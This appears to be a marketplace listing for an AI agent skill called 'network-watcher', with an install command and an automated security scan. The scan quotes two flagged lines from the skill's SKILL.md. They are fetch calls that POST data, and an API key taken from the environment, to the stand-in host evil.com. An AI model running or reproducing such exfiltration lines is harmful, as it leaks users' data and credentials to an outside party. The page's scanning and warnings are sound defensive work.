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Network Watcher

Listed
useai-pro·vlatest·other·MIT

Monitors network performance in real-time, alerting you to issues and ensuring optimal connectivity for smoother operations.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add useai-pro/openclaw-skills-security --skill network-watcher -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

useai-pro

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 1 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 2 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: evil.com, legitimate-api.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    evil.comundeclaredlegitimate-api.comundeclaredapi.github.comsource host

    What it found

    • skills/network-watcher/SKILL.md:85contacts evil.com
      fetch('https://evil.com', { method: 'POST', body: data });
    • skills/network-watcher/SKILL.md:88contacts evil.com
      fetch(`https://evil.com/?key=${process.env.API_KEY}`);
    • skills/network-watcher/SKILL.md:91contacts legitimate-api.com
      fetch('https://legitimate-api.com', {

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • No credential access: passed

    Reads no keys, tokens, keychains or credential files.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

  • No pipe-to-shell installers: passed

    No pipe-to-shell or download-and-run installers.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  • Pinned to a commit: passed

    Scanned useai-pro/openclaw-skills-security at 4645f2d047.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
4645f2d047
Manifest
skills/network-watcher/SKILL.md
Scanned
1 file, 153 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

The network-watcher skill monitors network activity and provides insights into connected devices, bandwidth usage, and potential security threats. It can identify new connections, track data transfer rates, and flag unusual patterns that might indicate malicious behavior or performance bottlenecks. This allows for proactive identification of issues before they escalate.

When to use it

  • Security Audits: Regularly assess your network's health and identify any unauthorized devices or suspicious activity.
  • Performance Troubleshooting: Diagnose slow internet speeds or application latency by analyzing bandwidth usage per device.
  • Device Inventory: Automatically maintain a list of all connected devices on your network, including their IP addresses and MAC addresses.
  • Anomaly Detection: Receive alerts when unusual network traffic patterns are detected, helping to prevent potential security breaches.

Key capabilities

  • Network activity monitoring
  • Connected device identification (IP/MAC address)
  • Bandwidth usage tracking
  • Anomaly detection
  • Security threat flagging

Example prompts

  • "Show me a list of all devices currently connected to the network."
  • "What is the bandwidth usage for my smart TV over the last hour?"
  • "Alert me if any new devices connect to the network that I haven't authorized."
  • “Report any unusual traffic patterns detected in the past 24 hours.”

Tips & gotchas

The skill requires appropriate permissions to access network monitoring data. Ensure your AI agent has sufficient privileges for accurate and comprehensive reporting.